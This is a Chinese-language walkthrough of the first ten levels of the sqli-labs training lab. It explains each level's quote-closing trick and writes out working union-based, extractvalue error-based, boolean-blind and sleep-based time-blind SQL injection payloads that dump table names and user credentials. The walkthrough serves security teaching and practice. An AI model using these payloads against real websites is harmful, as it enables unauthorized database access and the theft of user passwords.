sqlli-labs 1~10关教程

本篇有点长,建议使用目录查看自己想看的关卡

第一关

输入?id=1  出现如下图

  1. 输入id=1’ 出现语法错误 表示这里可能出现sql注入漏洞
  2. 进一步尝试 输入 id=1’ --+ 发现回显正常
  3. 用order by 判断该语句有几列数据 ?id=1’ order by 3 --+
    order by 3 回显正常 order by 4 显示错误 证明有三列数据
    具体解释见:https://blog.csdn.net/m0_47356348/article/details/123941262

  4. 于是使用 函数查询,此时要将id=1改为一个数据库不存在的数值 比如888,给后面查询语句留显示位。此时注入语句为: ?id=888‘ union select 1,2,3 --+

    如图可知显示位为2,3 位。
  5. 然后在2,3位选择一位或者两位 查询数据库
    首先查询数据库名称
    查询语句: ?id=888’ union select 1,2,database() --+

    可以查看到 数据库名称为security
  6. 继续查看表名 ?id=888’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = ‘security’ --+
    语句具体解释可见:

    可以见到表名有emails,referers,uagents,users
  7. 因为sql注入主要是查看数据库中有用信息,而这个users 这个表 看起来存有敏感信息,于是我们继续查看users 表中信息。查看users表中的列名。
    使用语句: ?id=888’ union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = ‘security’ and table_name = ‘users’ --+

    可查看到 user 中有三个列名 id、username、password
    确认过眼神,这就是我们想要查的表
  8. 最后 查找该表中 usename、password 的值
    使用语句:
    ?id=888’ union select 1,group_concat(username),group_concat(password) from security.users --+

得到所有的数据。注入完成。

查看php源码

第二关

查看php源码

发现源码与第一关不同的地方在于 图中标记地方
讲明一下为什么一开始直接查看源码,对于初学者来说首先应该通过源码去理解为什么这样去注入,当你见过很多注入方式的时候,就知道怎么去测试。

  1. 开始测试


    发现后面可以直接写入sql语句,开整!
  2. 这里所有的步骤都跟第一关一样,只是id=1后面不加“ ’ ”
实现语句:
?id=1 order by 4 --+
?id=1 order by 3 --+
?id=888 union select 1,2,3 --+
?id=888 union select 1,2,database() --+
?id=888 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database() --+
?id=888 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = 'security' --+
?id=888 union select 1,group_concat(username),group_concat(password) from security.users --+

第三关


查看php源码

发现源码与第一二关不同的地方在于 图中标记处 ,通过源码可以看出,变动的地方就在于id ,我们只要把id用“ ’)” 包裹起来,便可以继续注入。

  1. 测试,?id=1’) --+ 发现回显正常 于是就可这样注入
  2. order by 判断有几列数据

  3. 同理按照上面第一关第二关的步骤查询
?id=1') order by 4 --+
?id=1') order by 3 --+
?id=888') union select 1,2,3 --+
?id=888') union select 1,2,database() --+
?id=888') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database() --+
?id=888') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = 'security' --+
?id=888') union select 1,group_concat(username),group_concat(password) from security.users --+

第四关


php源码

图中标记处,便是与前几关的区别,可见将id 加了” ”“ “双引号,后面又用了” ()“ 于是我们将,id后面加” ”)“ 即可

  1. 开始测试,


    由测试可见,在id加上” ") “ 会出现语法错误,但加上 “ ") --+ ”后,就没有报错,可见注入手段就是在id 后面加 “ ") --+ ”

  2. order by 测试

  3. 同理

?id=1") order by 4 --+
?id=1") order by 3 --+
?id=888") union select 1,2,3 --+
?id=888") union select 1,2,database() --+
?id=888") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database() --+
?id=888") union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = 'security' --+
?id=888") union select 1,group_concat(username),group_concat(password) from security.users --+

第五关


php源码

与前几关不同的地方在于图中标记处,可知第五关没有回显具体信息,如果id数据库中存在,就回显 “You are in …” 若不存在,就无回显。显然此关没有回显,无法使用union联合查询了。但是我们发现,如果我们输入的语法有错误,会给你反馈一个语法错误信息。因此,我们可以用报错注入的手段进行查询。(通过测试也可以知道)
开整!

  1. 查询数据库
    实现语句:?id=1’ and (extractvalue(1,concat(‘~’,database()))) --+
    报错注入可以用floor报错、updatexml报错、extractvalue报错。我这里用extractvalue报错。
  2. 查询表名
    实现语句:?id=1’and (extractvalue(1,concat(‘~’,(select group_concat(table_name) from information_schema.tables where table_schema = ‘security’)))) --+
  3. 查询列名
    实现语句:?id=1’and (extractvalue(1,concat(‘~’,(select group_concat(column_name) from information_schema.columns where table_schema = ‘security’ and table_name = ‘users’)))) --+
  4. 查询表里面的值
    实现语句:
    ?id=1’and (extractvalue(1,concat(‘~’,(select concat(username,password) from security.users limit 0,1)))) --+

    由于一次只能显示一条数据,所以用 limit 数据分组查看

第六关


php源码

第六关与第五关区别之处见上图标记,与第五关主要区别在于id多了一个双引号。在注入时在id后面加上一个“ " ” 与前面的闭合即可。
具体实现语句如下:

?id=1" and (extractvalue(1,concat('~',database()))) --+
?id=1"and (extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema = 'security')))) --+
?id=1"and (extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users')))) --+
?id=1"and (extractvalue(1,concat('~',(select concat(username,password) from security.users limit 0,1)))) --+

第七关


从上图可知,php代码将print_r(mysqli_error($con))注释掉了。于是mysql语法错误详细信息不会回显到屏幕上了。则报错注入用不了了。通过代码可知,语法错误或者数据库没有该信息会回显一句话,于是于此可以使用布尔盲注。通过源码发现只需要在id后面加上" ‘)) ",便可以开始注入。(不了解布尔盲注的可先去了解布尔盲注)

  1. 开始测试
发现输入?id=1'   显示语法错误
输入?id=1')) --+ 回显正常
输入?id=1')) and 1=1 --+ 回显正常
输入?id=1')) and 1=2 --+  回显错误,报语法错误
故而可以判断,该处注入为布尔型注入,格式为: ?id=1')) 语句 --+
  1. 查询数据库名
1、 判断数据库名长度;
?id=1') ) and (length(database())>7) --+
?id=1') ) and (length(database())>8) --+



发现>7回显正常,>8回显错误,证明数据库名长度为8位。

2、猜解数据库名字符;
?id=1') ) and (substr(database(),1,1)='a') --+
>>此处省略
?id=1') ) and (substr(database(),1,1)='s') --+
>>记录数据库名的字母
>>此处再省略步骤
?id=1') ) and (substr(database(),8,1)='y') --+

注意: 是 ”=“ 不是 ”“ ==
于是得出数据库名为 “security”
有些数据库命名可能是大写字母,可能是字符。我们为了方便查询,可以将字符通过ascii()函数全部转化为ascii码,另外附上ascii码表:

查询结果如下:

  1. 查询表名
1、查询表名字段数
?id=1') ) and (length(substr(select table_name from information_schema.tables where table_schema= 'security' limit 0,1))>1) --+
......
2、查询表名
?id=1') ) and  (ascii(substr((select table_name from information_schema.tables where table_schema = 'security' limit 0,1),1,1))>1) --+
>>省略n步
?id=1') ) and  (ascii(substr((select table_name from information_schema.tables where table_schema = 'security' limit 0,1),1,1))>100) --+
?id=1') ) and  (ascii(substr((select table_name from information_schema.tables where table_schema = 'security' limit 0,1),1,1))>101) --+
>>省略n步 查出所有的表



从图中发现,>100回显正常,>101显示错误 。通过查表发现101对应ascii码是"e" 。所以第一个表名的第一个为”e“。按照此方法查出所有的表为 emails,referers,uagents,users。

  1. 查询user表中列名
1、查询第一个列名有多少位;
/?id=1') ) and (length((select column_name from information_schema.columns where table_schema = 'security' and table_name = 'users' limit 0,1))>1) --+
......
2、查询列名
?id=1')) and (ascii(substr((select column_name from information_schema.columns where table_schema = 'security' and table_name = 'users' limit 0,1),1,1))>1) --+
......
查询出所有列名为:id,username,password
  1. 查询元素
1、查询元素
/?id=1')) and (ascii(substr((select concat(username,password) from security.users limit 0,1),1,1))>1) --+
......
查询所有的元素值。
第七关结束!

第八关


查看源码

查看源码可知,id的闭合方式,而且此关与第七关不同的地方在于将错误的输出语句注释掉了,但这并不影响我们去使用布尔盲注。步骤跟第七关一样,只是闭合方式改一下就行。

第九关


查看php源码

通过测试,或者查看源码发现,无论输入是正确还是错误,都只回显一句话。因此布尔盲注在此关用不了了。我们可以试一下基于时间的盲注。

  1. 开始测试
发现使用 ?id=1' --+ 可以闭合
使用 ?id=1' and sleep(5) --+ 成功
于是开始查询
  1. 查询表名
1、查询数据库名的长度
?id=1' and if((length(database())>1),sleep(5),0) --+
......
>>查到数据库长度名长度为8
2、查数据库名字段
?id=1' and if(ascii(substr(database(),1,1))>1,sleep(5),0) --+
......
查到数据库名为:security

  1. 查询表名
1、查询第一个表名长度
?id=1' and if(length((select table_name from information_schema.tables where table_schema = 'security' limit 0,1))>1,sleep(5),0) --+
......
查询到长度为6
2、 开始查询表名字段
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema = 'security' limit 0,1),1,1))>1,sleep(5),0) --+
......
>>如此循环,查出一个个表名
>>查询出所有的表名为:emails,referers,uagents,users。

  1. 查询users表中列名
1、第一个列名的长度
?id=1' and if(length((select column_name from information_schema.columns where table_schema = 'security' and table_name= 'users' limit 0,1))>1,sleep(5),0) --+
......
2、第一个列名字段查询
?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema = 'security' and table_name= 'users' limit 0,1),1,1))>1,sleep(5),0) --+
.....
>>如此循环,查出所有列名
>>查出所有列名为:id,username,password
  1. 查询users表中所有元素
?id=1' and if(ascii(substr((select concat(username,password) from security.users limit 0,1),1,1))>1,sleep(5),0) --+
.....
>>查询出所有元素


第九关结束

第十关


查看php源码

跟第九关的区别就是id两边多了个双引号,注入的时候用双引号闭合即可。其他步骤跟第九关一样。

sqli-labs 1~10关教程相关推荐

  1. SQLi LABS Less 10 时间盲注

    第十关是双引号字符型注入,推荐使用时间盲注. 一.功能分析 二.思路分析 三.解题步骤 方式一:时间盲注 第一步.判断注入条件 第二步.判断长度 第三步.枚举字符 脱库 一.功能分析 二.思路分析 页 ...

  2. SQLi LABS Less 27a 联合注入+布尔盲注+时间盲注

    第27a关是双引号字符型注入: 过滤了注释(/* -- #),关键字(select union),空格: 这篇文章提供联合注入.布尔盲注.时间盲注三种解题方式. 其他 SQLi LABS 靶场的解题步 ...

  3. SQLi LABS Less 27 联合注入+报错注入+布尔盲注+时间盲注

    第27关是单引号字符型注入: 过滤了注释(/* -- #),关键字(select union),空格: 这篇文章提供联合注入.报错注入.布尔盲注.时间盲注四种解题方式. 其他 SQLi LABS 靶场 ...

  4. SQLi LABS Less 26a 联合注入+布尔盲注

    第26a关是单引号+括号的字符型注入: 后台过滤了关键字( and  or ),注释(/*  #  --  /),空格: 这篇文章提供联合注入.布尔盲注.两种解题方式. SQLi LABS其他关卡可以 ...

  5. SQLi LABS Less 25 联合注入+报错注入+布尔盲注

    第二十五关单引号字符型注入: 过滤了关键字(and.or),可以使用双写绕过: 这篇文章提供了联合注入.报错注入.布尔盲注三种解题方法. SQLi LABS 其余关卡可参考我的专栏:SQLi-LABS ...

  6. linux4.19安装教程,树莓派4安装Ubuntu 19.10的教程详解

    由于之前在raspbian上面跑opencv有些依赖包装不上,所以一些代码不能跑,就想着用Ubuntu试试.安装的过程是跟着这个视频来的: [Linux]在Raspberry Pi 4上安装完整版Ub ...

  7. 开发者基础知识游戏,共10关,欢迎挑战

    昨晚无眠,突然想起了以前园子里出现的某种找答案的游戏,那时是一个老外设计的. (补充,后来有网友告知,是某年的双十一光棍节应景的游戏) 于是花了一个晚上思考,今天又花了点时间,设计了一个简单的开发者知 ...

  8. 正版 Windows 10安装教程

    正版免费 Windows 10安装教程 前言 现在对于大多数人来说,购买的电脑都是Windows 10正版系统,但是Windows使用一段时间后会出现一些疑难杂症(尤其是刚开始使用的用户).在这种情况 ...

  9. 乐视x820android最新版本,乐视 Max2 Android 10更新教程

    乐视 Max2 Android 10更新教程 2020-04-27 15:22:59 3点赞 2收藏 2评论 创作立场声明:刷机有风险,做你敢做的尝试! "乐Max 2手机极限,生来独孤求败 ...

最新文章

  1. ceph bluestore 源码分析:ceph-osd内存查看方式及控制源码分析
  2. max flow value 是网络流里的什么_为什么你这么努力,还是没有通过投行面试
  3. 超详细Mysql的安装与卸载
  4. 彻底弄懂dalvik字节码【一】
  5. MySQL 是如何实现RC事务隔离级别的
  6. mysql倒叙varchar类型的数字_MySql遇到varchar字段数字字符串排序问题
  7. 生产环境-linux-tomcat宕掉-乌龙事件
  8. Windows下免费的屏幕录制软件——EV录屏——推荐
  9. WebSocket入门使用教程
  10. 5.8Gwifi串口服务器、485转wifi多功能串口转WIFI 、232转wifi、Modbus转RTU、工业自动化系统
  11. axi时序图_AXI总线协议时序
  12. 环境微生物复习题及答案
  13. HackTheBox-Chaos-CTF_解题过程
  14. 微型计算机3月2017,2017年3月计算机一级基础及MSOffice强化习题
  15. mydumper的安装与使用
  16. 『关于摄影的前后期』
  17. python创建数据库字数不限制_Python之Mysql数据库
  18. [原创插件] [服务端插件] [新手开发者必看]优秀插件开发教程列表 欢迎回复讨论
  19. PXC高可用集群总结
  20. 金融直播APP方案开发

热门文章

  1. 机器学习(九):集成学习(bagging和boosting),随机森林、XGBoost、AdaBoost
  2. 多目标优化算法平台PlatEMO的基本使用方法
  3. 使用export_graphviz可视化树报错解决
  4. 纪念20110325
  5. 安卓简单开发-获取系统时间
  6. 《Oracle编程自学与面试指南》17-03:多列子查询
  7. 用C++弹奏《起风了》
  8. 恢复原厂设置,清除SD卡数据
  9. Linux C 信号使用
  10. 金融系列10《发卡行脚本》